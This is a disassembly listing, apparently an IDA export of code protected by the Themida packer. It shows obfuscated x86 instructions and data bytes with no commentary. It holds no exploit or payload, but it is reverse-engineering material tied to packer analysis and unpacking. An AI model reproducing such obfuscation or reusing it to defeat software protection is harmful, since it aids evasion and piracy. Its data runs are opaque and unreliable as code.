		mov	[esp], eax
		mov	eax, esp
		jmp	loc_548F48
; ---------------------------------------------------------------------------


loc_549C7C:				; CODE XREF: Themida_:0054C50Fj
		pop	edi
		shl	ebp, 8
		push	eax
		mov	eax, 5120485Ch
		or	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 2E694BA0h
		xor	ebp, ebx
		pop	ebx
		xor	ebp, 7D1BA3F8h
		jmp	loc_546D41
; ---------------------------------------------------------------------------
		dw 5653h
		dd 266326BEh, 0DEF74E6Dh, 0D102E6C1h, 3E6C1E6h,	0FFE205E9h
		dd 0C8B70FFFh, 4EFD68h,	240C8900h, 0FFA9DEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_549CC9:				; CODE XREF: Themida_:00548F8Bj
		inc	esi
		jmp	loc_54D425
; ---------------------------------------------------------------------------
		db 0F7h
		dd 3E1C1D9h, 7177BA52h,	23E97CA7h, 8300001Ch, 1C3302C3h
		dd 241C3124h, 8B241C33h, 0FF662424h, 0E99C2404h, 0FFFFA9AFh
; ---------------------------------------------------------------------------


loc_549CF8:				; CODE XREF: Themida_:0054F030j
		pop	edx
		neg	ch
		xor	ch, 0CFh
		push	ax
		mov	al, 38h
		add	ch, 27h
		add	ch, al
		push	eax
		mov	ah, 24h
		neg	ah
		xor	ah, 0B2h
		neg	ah
		push	ebx
		mov	bh, 49h
		jmp	loc_54730E
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 87h
		dd 0FFA986E9h, 5F5457FFh, 4C781h, 0C7830000h, 243C8704h
		dd 5661E95Ch, 895C0000h, 0A9682404h, 8900004Ah,	4832424h
		dd 48B0424h, 0C3E95724h, 89000016h, 74FF2404h, 8F580424h
		dd 248B2404h, 48B6624h,	59545124h, 74ADBD55h, 0E581273Ah
		dd 501E1868h, 4EC81h, 3C890000h, 5385BF24h, 0FD316FDBh
		dd 0C9EE9h, 4C48100h, 1000000h,	1C3358C3h, 241C3124h, 60CEE9h
		dd 0FFD90100h, 815B2434h, 4C4h,	240C8700h, 6624248Bh, 2404AB0Fh
		dd 0A8F1E99Ch, 6EBFFFFFh, 47309C14h, 2B6DC781h,	0F7815CCFh
		dd 0D69525FCh, 3C8BF801h, 4C48124h, 1000000h, 20BA52C8h
		dd 295BFE1Ah, 0B043E9D0h, 0DA88FFFFh, 0FFDE7BE9h, 0E9D801FFh
		dd 4EDFh, 24040166h, 0A8ADE99Ch, 6856FFFFh, 24435299h
		dd 3EEE815Eh, 89BAC75Dh, 0BF95E9F1h, 0EA81FFFFh, 63E83D69h
		dd 0C281F229h, 63E83D69h, 0A885E95Eh, 3C89FFFFh, 0F13E924h
		dd 34330000h, 24343124h, 5C243433h, 24048B66h, 4EC81h
		dd 1C890000h, 0E9E38924h, 0FFFFB0A1h, 24348B58h, 4C481h
		dd 17E90000h, 5D000029h, 6703E9h, 939BB00h, 0EBC17DAFh
		dd 69F0E907h, 4BA0000h,	0E9000000h, 0FFFFC41Fh
dword_549E74	dd 2B60F66h, 0AF8E956h,	0C2810000h, 4, 2440E9h
					; DATA XREF: Themida_:00544414o
		db 0
; ---------------------------------------------------------------------------


loc_549E89:				; CODE XREF: Themida_:0054C470j
		popa
		jmp	loc_54F5E0
; ---------------------------------------------------------------------------
		db 33h
		dd 895C240Ch, 0B8E9243Ch, 100001Bh, 22C181E9h, 0E940EF0Fh
		dd 0FFFFC5A9h, 35E2F681h, 0E82D2429h, 296C7A1Dh, 1DE805F0h
		dd 348B6C7Ah, 5F545724h, 4C781h, 65E90000h, 87FFFFF4h
		dd 895C243Ch, 0E3E92414h, 5FFFFC8h, 0DBF92B04h,	73A9C581h
		dd 0C2E960E8h, 81FFFFC1h, 0C40254E5h, 6E5C10Eh,	0D26CE94Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549EF6:				; CODE XREF: Themida_:00549803j
		sub	bl, 0F5h
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 61h
		db 0C3h
byte_549F01	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005443C4o
aSt7		db '$éT7',0
		align 2
		dw 0DBF7h
		dd 0FD08E951h, 0EF30FFFFh, 31EDE9h, 0D0EA8100h,	0C14D0410h
		dd 0BE5606EAh, 634B6673h, 5CF5E9h
		db 0
; ---------------------------------------------------------------------------


loc_549F2D:				; CODE XREF: Themida_:0054860Bj
		add	esp, 4
		and	eax, ebx
		pop	ebx
		or	eax, eax
		jz	loc_545A63
		push	dword ptr [edi+1Ch]
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	esp, 4
		mov	[esp], ecx
		push	4
		jmp	loc_544BF5
; ---------------------------------------------------------------------------
		db 54h,	5Fh, 0E9h
		dd 0FFFFD18Bh, 68240481h, 5936FD38h, 3868E981h,	585B36FDh
		dd 4EC81h, 14890000h, 15DFBA24h, 0D001549Ch, 2DC8015Ah
		dd 549C15DFh, 55515259h, 0DA5136BDh, 0FE5CE904h, 0EF01FFFFh
		dd 83242C8Bh, 3C8704C4h, 24248B24h, 1568F9F7h, 89000015h
		dd 9C502414h, 0FFA6EAE9h, 5C06B8FFh, 29E91788h,	68FFFFE1h
		dd 1F75h, 52240C89h, 0D188FA88h, 0B8505Ah, 1000000h, 0E90888D0h
		dd 429Dh, 4C481h, 0E2810000h, 6A366CC7h, 151BF281h, 0F28111DBh
		dd 9395480h, 575A5F52h,	847EE4BFh, 5FF82979h, 7E6FE005h
		dd 0E9F82955h, 0FFFFE885h, 8904EC83h, 0ACE92434h, 89000058h
		dd 0BBBB53E7h, 0F72EBF09h, 30C9E9DBh, 0C6810000h, 1080BC5h
		dd 3974E9h, 0CD816600h,	32E94931h
		db 51h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54A043:				; CODE XREF: Themida_:0054EA83j
		add	eax, 4F58751Ah
		add	eax, ebx
		sub	eax, 4F58751Ah
		sub	eax, 462527CFh
		jmp	loc_546DEF
; ---------------------------------------------------------------------------
		db 2Dh,	0A0h, 1Ah
		dd 0BA520200h, 4BE426D3h, 0F5E9D2F7h
		db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A06B:				; CODE XREF: Themida_:0055004Aj
		sub	ebp, 9C121AC5h
		jmp	loc_54475A
; ---------------------------------------------------------------------------
		dw 8142h
		dd 0E941A1F2h, 3C78056Ah, 9E90007h, 0F6FFFFA9h,	58E788D4h
		dd 0E99BCF80h, 5CD1h, 55243C8Bh, 0FFCCBEE9h
		db 0FFh
byte_54A09D	db 0ACh, 30h, 0D8h	; DATA XREF: Themida_:00544654o
		dd 0B3535251h, 5BDE8829h, 0E967E680h, 1D50h, 0F9885A66h
		dd 3CC9805Bh, 4544E9h
		db 0
; ---------------------------------------------------------------------------


loc_54A0BD:				; CODE XREF: Themida_:0054CAF7j
		mov	[esp], edx
		jmp	loc_547E8E
; ---------------------------------------------------------------------------
		db 4Dh,	55h, 0F7h
		dd 0C15D2414h, 0ED8106E5h, 0B0465214h, 5E5DE829h, 0E902C083h
		dd 1370h, 68243489h, 28B1h, 83242489h, 0E9042404h, 0FFFFD0B4h
		dd 0C581E589h, 4, 0E904C583h, 5036h
; ---------------------------------------------------------------------------


loc_54A104:				; CODE XREF: Themida_:0054789Bj
		pop	edi
		jmp	loc_545877
; ---------------------------------------------------------------------------
		dw 0E959h
		dd 0FFFFC671h
; ---------------------------------------------------------------------------


loc_54A110:				; CODE XREF: Themida_:0054915Ej
		pop	eax
		push	edi
		mov	edi, esp
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		push	ebp
		jmp	loc_5502A6
; ---------------------------------------------------------------------------
		db 66h
		dd 53240C8Bh, 0C381E389h, 4, 2D78E9h, 5FF90100h, 0FFC075E9h
		dd 66858FFh, 89000034h,	4BE2434h, 0E9000000h, 495Dh
; ---------------------------------------------------------------------------


loc_54A150:				; CODE XREF: Themida_:00545967j
		push	ebx
		mov	ebx, esp
		push	edi
		jmp	loc_5504B7
; ---------------------------------------------------------------------------
		db 83h,	4, 24h
		dd 0C5815D04h, 4, 2C581h, 43680000h, 0E9000063h, 1825h
		dd 0F743D3F7h, 0A5BD55DBh, 0D1560A24h, 0FD61E9EDh, 0F740FFFFh
		dd 21705D8h, 50357B7Fh,	817B7BC5h, 331B5BC3h, 0E9C30153h
		dd 0FFFFE322h
; ---------------------------------------------------------------------------


loc_54A1A0:				; CODE XREF: Themida_:005458D7j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edx, [esp]
		jmp	loc_54A1EB
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481242Ch, 4, 5446853h, 0C890000h, 0A88AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A1D6:				; CODE XREF: Themida_:00545C37j
		sub	edx, 0C14983BDh
		mov	eax, edx
		pop	edx
		push	edi
		jmp	loc_547885
; ---------------------------------------------------------------------------
		db 54h,	0E9h, 2Dh
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A1EB:				; CODE XREF: Themida_:0054A1BAj
		add	esp, 4
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		shr	ecx, 6
		push	ebp
		mov	ebp, ebx
		push	5F5Eh
		mov	[esp], ebp
		sub	dword ptr [esp], 6A326F07h
		jmp	loc_545F8A
; ---------------------------------------------------------------------------
		dd 83240C8Bh, 1CE904C4h
		db 3Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54A22B:				; CODE XREF: Themida_:0054B295j
		pop	esi
		or	eax, eax
		jz	loc_54B438
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 1B3F22F5h
		neg	ebx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 0A916526h
		xor	ebx, edi
		pop	edi
		sub	ebx, 69EF25DBh
		jmp	loc_54EF9B
; ---------------------------------------------------------------------------


loc_54A25A:				; CODE XREF: Themida_:00546988j
		mov	[esp], edx
		mov	edx, 514427B1h
		add	esi, edx
		pop	edx
		jmp	loc_545B57
; ---------------------------------------------------------------------------


loc_54A26A:				; CODE XREF: Themida_:00550CB2j
		push	eax
		mov	eax, 306C5865h
		shr	eax, 8
		xor	eax, 8B11A1h
		xor	eax, 0BB7DFDh
		add	edx, eax
		jmp	loc_54F213
; ---------------------------------------------------------------------------


loc_54A284:				; CODE XREF: Themida_:00548529j
		push	ebx
		jmp	loc_549084
; ---------------------------------------------------------------------------
		dw 0F888h
		dd 5B58C288h, 88515859h, 876C88D5h, 8B5A5901h, 0C483241Ch
		dd 0A401E904h
		db 2 dup(0FFh)
word_54A2A6	dw 32FFh		; DATA XREF: Themida_:0054443Co
		dd offset dword_49005C+2568Dh
		dd 0E2E48000h, 80DAF480h, 0E62877C4h, 5BF3E9h
		db 0
; ---------------------------------------------------------------------------


loc_54A2BD:				; CODE XREF: Themida_:0054DE47j
		add	edi, 4
		push	ebp
		jmp	loc_54C09B
; ---------------------------------------------------------------------------
		db 5Eh,	29h, 0F0h
		dd 8904EC83h, 0EAB9240Ch, 8169AC05h, 271532F1h,	0B74DE902h
		dd 0F287FFFFh, 0B515EA81h, 0D1018239h, 4C1835Ah, 5C240C87h
		dd 5602C683h, 42474FFh,	0FFEFA6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54A301:				; CODE XREF: Themida_:005513B2j
		add	bl, al
		jmp	loc_54C7EC
; ---------------------------------------------------------------------------
		dd 2B8h, 58C30100h, 0E9241C87h,	0FFFFB1C2h, 4EC81h, 0C890000h
		dd 5E71B924h, 81410071h, 5677DE1h, 66C9810Eh, 812E2922h
		dd 0F7B9CE9h, 84E1810Eh, 53239123h, 4CE386BBh, 5BD90100h
		dd 4244C01h, 24040159h,	32BCE9h
		db 0
; ---------------------------------------------------------------------------


loc_54A355:				; CODE XREF: Themida_:00549314j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_548F0C
; ---------------------------------------------------------------------------
		db 80h
		dd 0FDE9C9F2h, 55FFFFDEh, 0A93C4ABDh, 4BED8130h, 0E930A93Ch
		dd 1DF8h, 0E9240489h, 368Dh, 0CEFED6F6h, 0F605CE80h, 0F6CE80D6h
		dd 8069EE80h, 0F528C3EDh, 0FFE562E9h, 40E995FFh, 5D00004Dh
		dd 0F281EAD1h, 3E76B5FDh, 0E95AD321h, 4F1Ah
; ---------------------------------------------------------------------------


loc_54A3B4:				; CODE XREF: Themida_:005486FCj
		mov	[esp], ebx
		xor	dword ptr [esp], 419822E1h
		pop	eax
		push	6D96h
		mov	[esp], ebx
		push	eax
		mov	eax, 60550E1Dh
		jmp	loc_545808
; ---------------------------------------------------------------------------
		dw 0D388h
		dd 0E95BDD88h, 0FFFFA901h
; ---------------------------------------------------------------------------


loc_54A3DC:				; CODE XREF: Themida_:00545AD5j
		mov	edi, esi
		pop	esi
		or	edi, 5122431Fh
		and	edi, 20220709h
		xor	edi, 4F7357F7h
		add	ebp, edi
		pop	edi
		jmp	loc_5495D1
; ---------------------------------------------------------------------------
byte_54A3F9	db 66h,	8Bh, 4		; DATA XREF: Themida_:005444DCo
		dd 0E3895324h, 4BD55h, 0EB010000h, 4EB835Dh, 5C241C87h
		dd 89241489h, 6B0468E2h, 4890000h, 0E37DE924h, 3C33FFFFh
		dd 24248B24h, 50241489h, 0A275E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A432:				; CODE XREF: Themida_:005466B9j
		push	20BEh
		mov	[esp], ebp
		mov	ebp, 1
		and	eax, ebp
		jmp	loc_54D2A5
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24348904h, 0E955E689h, 0FFFFF11Bh, 4C281h, 14870000h
		dd 1CE95C24h, 81FFFFE6h, 0B84150CDh, 0ACE58176h, 0C152FC58h
		dd 0BE5603EDh, 63B665ABh, 79E9F531h, 80FFFFD2h,	0B753A6ECh
		dd 80CFFEA0h, 0E7D0B1F7h, 3029EF80h, 9E95BFCh, 83FFFFD4h
		dd 5D042404h, 69D868h, 241C8900h, 9E79E7BBh, 0E3C14B78h
		dd 0FECB8106h, 4312FD11h, 44CFBD55h, 0DDF75506h, 0E906EDC1h
		dd 0FFFFAAB1h, 0EF81D7F7h, 4DE87DC7h, 1B6EE9h, 0A30F6600h
		dd 0E99C2404h, 482Fh, 231CEA81h, 0F201078Eh, 231CC281h
		dd 0BE56078Eh, 5C845E0h, 783AC681h, 0E6C1576Ah,	11CE8103h
		dd 81557070h, 7078BEEEh, 5EF229CFh, 8124348Bh, 4C4h, 2C28100h
		dd 33000000h, 62E92414h, 5800003Eh, 4C9FE957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54A526:				; CODE XREF: Themida_:005497B0j
		mov	edi, 401849DDh
		add	edi, 0FDB707Dh
		inc	edi
		add	edi, 2AF52FF1h
		shr	edi, 3
		push	edi
		add	dword ptr [esp], 1
		pop	edi
		push	ebx
		mov	ebx, 0F5D1D4Bh
		xor	edi, ebx
		pop	ebx
		mov	edx, edi
		pop	edi
		and	eax, edx
		mov	edx, [esp]
		push	1F2Ch
		jmp	loc_5481AA
; ---------------------------------------------------------------------------
dword_54A55C	dd 8904EC83h, 7968242Ch, 0E900007Bh, 0E0Fh, 4F77B951h
					; DATA XREF: Themida_:00544520o
		dd 0D1F77DF1h, 0DB85041h, 5635A733h, 108B3BEh, 0FFC6813Bh
		dd 81FFFFFFh, 0A228BDC6h, 3EEC16Dh, 0E904E6C1h,	0FFFFCCFBh
		dd 8158C109h, 0FE1D04C1h, 0CBD0E964h, 0E9C1FFFFh, 27C98102h
		dd 8147045Eh, 90385C1h,	38C18136h, 0E993FA65h, 17h
; ---------------------------------------------------------------------------


loc_54A5C0:				; CODE XREF: Themida_:0054760Bj
		mov	bh, 3Fh
		not	bh
		shr	bh, 6
		shl	bh, 2
		jmp	loc_549469
; ---------------------------------------------------------------------------


loc_54A5CF:				; CODE XREF: Themida_:0054DC49j
		sub	cl, ah
		pop	eax
		jmp	loc_54E545
; ---------------------------------------------------------------------------
		db 89h
		dd 240C8BCEh, 4604C483h, 38E2CE81h, 0D6F724F8h,	2BA4B850h
		dd 0E8C12982h, 0F40D4002h, 2D14BE04h, 242C35DEh, 3D160935h
		dd 6ADFE9B6h, 9BBE0000h, 81386959h, 0F86165EEh,	55B85062h
		dd 9279D61h, 24048BC6h,	4D83E9h, 0E9D80100h, 522Dh, 2B0068h
		dd 24048900h, 0BED1E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A636:				; CODE XREF: Themida_:0054D03Bj
		add	esi, 4395BB8h
		sub	esi, 41C9176Ah
		shr	esi, 3
		sub	esi, 0CFD92379h
		jmp	loc_549767
; ---------------------------------------------------------------------------


loc_54A650:				; CODE XREF: Themida_:0054BD0Aj
		shr	eax, 8
		xchg	eax, ebx
		jmp	loc_5508A0
; ---------------------------------------------------------------------------
byte_54A659	db 31h,	2Ch, 24h	; DATA XREF: Themida_:00544418o
		dd 31242C33h, 36E9242Ch, 33FFFFFDh, 248B2414h, 2404D224h
		dd 0AC51E99Ch, 34FFFFFFh, 0E9575824h, 1A46h
; ---------------------------------------------------------------------------


loc_54A680:				; CODE XREF: Themida_:0055079Cj
		mov	ebx, [esp]
		add	esp, 4
		sub	al, 55h
		sub	al, 64h
		jmp	loc_54EB57
; ---------------------------------------------------------------------------
		dw 0E959h
		dd 0FFFFDBDAh, 0DFF7DFF7h, 8106E7C1h, 98C1C4F7h, 5FF901EEh
		dd 0E9505655h, 0FFFFC242h
; ---------------------------------------------------------------------------


loc_54A6B0:				; CODE XREF: Themida_:00547BD0j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_54B4D2
; ---------------------------------------------------------------------------
		db 1
		dd 24048BC3h, 4C481h, 0C3290000h, 3825EB81h, 83E913CAh
		dd 31000060h, 9AE92404h
		db 45h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54A6E3:				; CODE XREF: Themida_:0054F6B1j
		pop	ecx
		xchg	edx, ebx
		inc	ebx
		sub	ebx, 1
		xor	ebx, 0DA039219h
		mov	ecx, ebx
		jmp	loc_549A2B
; ---------------------------------------------------------------------------
		dw 0DEF7h
		dd 0FFD88CE9h, 4335AFFh, 24043124h, 5C240433h, 0FF9F96E9h
		dd 0E7815FFFh, 189A30A0h, 0BAF7814Fh, 89182302h, 0D7A6E9F9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A726:				; CODE XREF: Themida_:00546751j
		mov	edi, 23EC391Ch
		jmp	loc_54C507
; ---------------------------------------------------------------------------
dword_54A730	dd 51D831ADh, 0C74EC5B9h, 56D1F71Ch, 875625BEh,	0C1D6F745h
					; DATA XREF: Themida_:005445B0o
		dd 0E6C104EEh, 5E6C102h, 0B181C681h, 98E92C3Ah,	8100002Fh
		dd 4ECh, 242C8900h, 215E31BDh, 6A836854h, 0C890000h, 9CBB5324h
		dd 0C12C3135h, 0EB8102EBh, 360D0CBAh, 8107E3C1h, 9E7C70F3h
		dd 30EB814Eh, 89B2AAB2h, 0ED815BD9h, 58617E1Eh,	0C581CD01h
		dd 58617E1Eh, 81240C8Bh, 4C4h, 31DD3100h, 0F370E9EBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A7AE:				; CODE XREF: Themida_:005504C0j
		mov	ebp, 2
		add	ebx, ebp
		pop	ebp
		jmp	loc_54E0DF
; ---------------------------------------------------------------------------
byte_54A7BB	db 66h			; DATA XREF: Themida_:005444ECo
		dd 6824048Bh, 4F7Bh, 2ECCE9h, 0FEC6FE00h, 9DEE80CEh, 0EE80DEF6h
		dd 0A02C6Bh, 627AE9F0h,	148B0000h, 4C48124h, 83000000h
		dd 51E904C4h, 0BEFFFFA2h, 557E6FE0h, 1906E9h, 5DEF0100h
		dd 0FFF1ADE9h, 0E9C15AFFh, 0AEF6E908h, 0E952FFFFh, 1F69h
		dd 1140C781h, 8FE91D81h, 50FFFFE3h, 0C589C889h,	0FFB118E9h
		dd 0E9F229FFh, 6B51h, 0C0C8F180h, 0D1F607E9h, 282FC180h
		dd 0A595E9C8h, 814DFFFFh, 74CACDC5h, 11E58115h,	0E922D302h
		dd 5255h, 4C481h, 0E9500000h, 14DDh, 990B850h, 6C2D33E2h
		dd 0D4FD103h, 41D54AEh,	7B625D25h, 264E3574h, 44053BEDh
		dd 0E9C9C9F7h, 0FFFFEA99h
dword_54A880	dd 9D1C77FFh, 24041958h, 9E19E99Ch, 14E9FFFFh, 57FFFF9Eh
					; DATA XREF: Themida_:005444ACo
		dd 0C781E789h, 4, 0CA82E952h, 3489FFFFh, 2474FF24h, 58E95E04h
		dd 81000048h, 4C7h, 243C8700h, 0E789575Ch, 4B850h, 0C7010000h
		dd 8124048Bh, 4C4h, 4C78300h, 8B243C87h, 0AF0F2424h, 0E99C51C8h
		dd 43EAh
; ---------------------------------------------------------------------------


loc_54A8E0:				; CODE XREF: Themida_:00550195j
		push	ebp
		mov	ebp, ebx
		jmp	loc_54BBCC
; ---------------------------------------------------------------------------
		dd 885BF988h, 0C58859C8h, 2434FF58h, 4C4815Ah, 30000000h
		dd 240C8BE8h, 0FFF41CE9h, 0CF81FFh, 815A9F0Dh, 689D85C7h
		dd 8BFD89C6h, 0E955243Ch, 11CFh
; ---------------------------------------------------------------------------


loc_54A91C:				; CODE XREF: Themida_:0054E496j
		push	26B2703Eh
		pop	edi
		dec	edi
		push	ecx
		mov	ecx, 5C5C7441h
		not	ecx
		or	ecx, 31897487h
		not	ecx
		jmp	loc_54B191
; ---------------------------------------------------------------------------
		dd 0FF9D6AE9h, 5FFA01FFh, 0FFDA6EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54A945:				; CODE XREF: Themida_:005483AEj
		mov	edi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		jmp	loc_545F4B
; ---------------------------------------------------------------------------
		dd 4B9h, 59CF0100h, 31243C33h, 3C33243Ch, 3CE95C24h, 88FFFF9Dh
		dd 0EC8858E5h, 22A1E959h, 0E6890000h, 4C681h, 0EE830000h
		dd 0F68EE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A986:				; CODE XREF: Themida_:0054FDF2j
		add	eax, 4
		jmp	loc_5474B5
; ---------------------------------------------------------------------------
		dd 141DEE81h, 60E93E38h, 1FFFFC8h, 0EB815FFBh, 4, 0FFE5FDE9h
		dd 240C8BFFh, 1AC3E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54A9B2:				; CODE XREF: Themida_:0054F5EDj
		push	ecx
		push	edx
		mov	dh, 42h
		xor	dh, 0FEh
		or	dh, 0EFh
		sub	dh, 0D4h
		neg	dh
		add	dh, 84h
		mov	ch, dh
		pop	edx
		push	ecx
		dec	byte ptr [esp+1]
		pop	ecx
		neg	ch
		xor	ch, 64h
		shl	ch, 6
		or	ch, 0
		xor	ch, 0E5h
		add	al, ch
		pop	ecx
		jmp	loc_547604
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0E5C106EDh, 0BFE58107h, 5613D137h, 0A74B7FBEh, 46DEF735h
		dd 0C670C681h, 35E976ACh, 50FFFFC7h, 405E089h, 83000000h
		dd 3E904C0h, 58FFFFA0h,	48DED81h, 6F214D27h, 84E95D1Ch
		dd 8BFFFF9Ch, 0C481243Ch, 4, 8106EDC1h,	0B7723F5h, 50DDF767h
		dd 4B6730B8h, 3FF8E903h, 50520000h, 0C2880BB0h,	24D4E958h
		dd 48BE0000h, 0C1342E38h, 0E68108EEh, 15F16BA1h, 8102EEC1h
		dd 774378EEh, 95F68174h, 811EA250h, 369787F6h, 0A08CE995h
		dd 489FFFFh, 2474FF24h,	48F5804h, 24248B24h, 24048B66h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_54EB00
; ---------------------------------------------------------------------------
		dd 0E9243489h, 0FFFFABB7h
; ---------------------------------------------------------------------------


loc_54AA98:				; CODE XREF: Themida_:0054E68Bj
		add	ebp, 0FFFFFFFFh
		shl	ebp, 2
		add	ebp, 1F006734h
		sub	ebp, 5794236Bh
		push	ecx
		push	ebp
		jmp	loc_54D340
; ---------------------------------------------------------------------------
byte_54AAB1	db 0ACh, 30h, 0D8h	; DATA XREF: Themida_:005445BCo
		dd 68126866h, 24148966h, 0F636B753h, 4B41E9DFh,	0E9590000h
		dd 1C42h, 66BAED81h, 0E8016C6Fh, 0FFE97BE9h, 665B66FFh
		dd 2D66D801h, 66550297h, 664FEDBDh, 19B4C581h, 5CFEE9h
		dd 29C68100h, 815DBF76h, 0BAD3A4EEh, 5EF78943h,	248C68h
		dd 24148900h, 0E234CFBAh, 3DF28145h, 294EAE57h,	879E9D7h
		db 2 dup(0)
word_54AB1A	dw 48Bh			; DATA XREF: Themida_:0054454Co
		dd 0E6895624h, 4C681h, 89500000h, 405E0h, 0BF570000h, 4
		dd 875FF829h, 895C2404h, 6ABA2414h, 0E9136D7Dh,	560h, 4EC815Eh
		dd 89000000h, 54572404h, 4C7815Fh, 83000000h, 0FF5704EFh
		dd 5F042474h, 5C24048Fh, 24048F54h, 38EDE9h
		db 0
; ---------------------------------------------------------------------------


loc_54AB71:				; CODE XREF: Themida_:00550D0Ej
		pop	ebp
		push	ebx
		push	0AB04EABh
		pop	ebx
		sub	ebx, 0F14D2224h
		and	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	ecx, 6C023B8Ah
		xor	ebp, ecx
		jmp	loc_54FD55
; ---------------------------------------------------------------------------
		db 30h
		dd 0C0B60FC3h, 0A6468h,	241C8900h, 0C381E389h, 4, 3292BE56h
		dd 0BF572C9Fh, 3F6F3FB5h, 6AE9FE01h, 80FFFFBFh,	0FE00DBF7h
		dd 17EE805Bh, 28E0EF80h, 0B45066F7h, 0DDDEE9E0h, 459FFFFh
		dd 0E9DB0479h, 3825h, 0E958C789h, 454Ah, 241C895Ch, 4EC81h
		dd 24890000h, 24048124h, 4, 83241C8Bh, 0C38104C4h, 4, 0FFF0D2E9h
		dd 60F168FFh, 24890000h, 0F87DE924h, 525FFFFFh,	71BB6857h
		dd 0E4E90B6Fh, 6800003Eh, 19A6h, 89240489h, 405E0h, 0BB530000h
		dd 4, 875BD829h, 895C2404h, 74FF242Ch, 2C8B0424h, 2009E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54AC52:				; CODE XREF: Themida_:00545139j
		mov	[esp], edx
		mov	edx, 2A3825CDh
		push	ecx
		mov	ecx, 313C20E2h
		and	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		inc	edx
		neg	edx
		push	ebx
		push	edx
		mov	edx, 7859037Fh
		jmp	loc_54B7D1
; ---------------------------------------------------------------------------
		db 31h
		dd 2AF8E9DEh, 895C0000h, 0B951242Ch, 5AD922B8h,	0D922BCBDh
		dd 59CD315Ah, 37A6EB81h, 0EB294FEAh, 37A6C381h,	335D4FEAh
		dd 1C31241Ch, 9A9DE924h, 0CD2FFFFh, 0F4E99C24h
		db 99h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54ACB3:				; CODE XREF: Themida_:00545C48j
		xor	dword ptr [esp], 2D9D2D87h
		pop	ebp
		xor	ebp, 2D9D2D87h
		jmp	loc_54F586
; ---------------------------------------------------------------------------
aBQ3zjqLRasy	db 'Æq3‡jQ¹‹|RaéY',0Bh,0
		dw 4200h
		dd 5375C281h, 0EC835334h, 240C8904h, 5DA6B850h,	0C1403E97h
		dd 213502E8h, 517EAE38h, 0A07E5BB9h, 0C1D9F70Ch, 0E98102E1h
		dd 0B094D490h, 0CEE9C829h, 29FFFFBEh, 83BD55D8h, 2949807Ch
		dd 0EC835DE8h, 6189E904h
		db 2 dup(0)
word_54AD1E	dw 8B66h		; DATA XREF: Themida_:005445E4o
		dd 0E955240Ch, 0FFFFD87Bh
; ---------------------------------------------------------------------------


loc_54AD28:				; CODE XREF: Themida_:005455B7j
		mov	eax, 60E9609Eh
		neg	eax
		jmp	loc_54678F
; ---------------------------------------------------------------------------
		dd 5A66F528h, 16E9h, 6D1DBF00h,	97E97D0Ch, 5BFFFFB2h, 8B24048Fh
		dd 0A8E92424h, 2C00003Ah, 4E828FAh, 0FC4BE9FAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54AD5E:				; CODE XREF: Themida_:00544930j
		mov	ecx, 52E77D6Ch
		neg	ecx
		jmp	loc_545E4D
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 3D51220Ch, 0E8A5F281h, 0D731FEC3h, 5FFB015Ah, 0EB81FB01h
		dd 1FAB55EFh, 795BA52h,	38E9214Eh
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54AD8F:				; CODE XREF: Themida_:005506C0j
		mov	esi, 5592571Dh
		add	esi, 0AA6DA8E7h
		add	edx, esi
		pop	esi
		push	esi
		jmp	loc_54C56C
; ---------------------------------------------------------------------------
		db 83h
		dd 0C68104C4h, 2, 0A91EE956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54ADB2:				; CODE XREF: Themida_:00548339j
		sub	ebp, 1
		shl	ebp, 1
		or	ebp, 7376189Dh
		shl	ebp, 8
		or	ebp, 22F14E36h
		xor	ebp, 64FD8979h
		sub	eax, ebp
		pop	ebp
		push	645Dh
		mov	[esp], ebp
		mov	ebp, 79DF0944h
		push	ebp
		xchg	esi, [esp]
		not	esi
		xchg	esi, [esp]
		pop	ebp
		add	ebp, 79DF0B45h
		jmp	loc_550B77
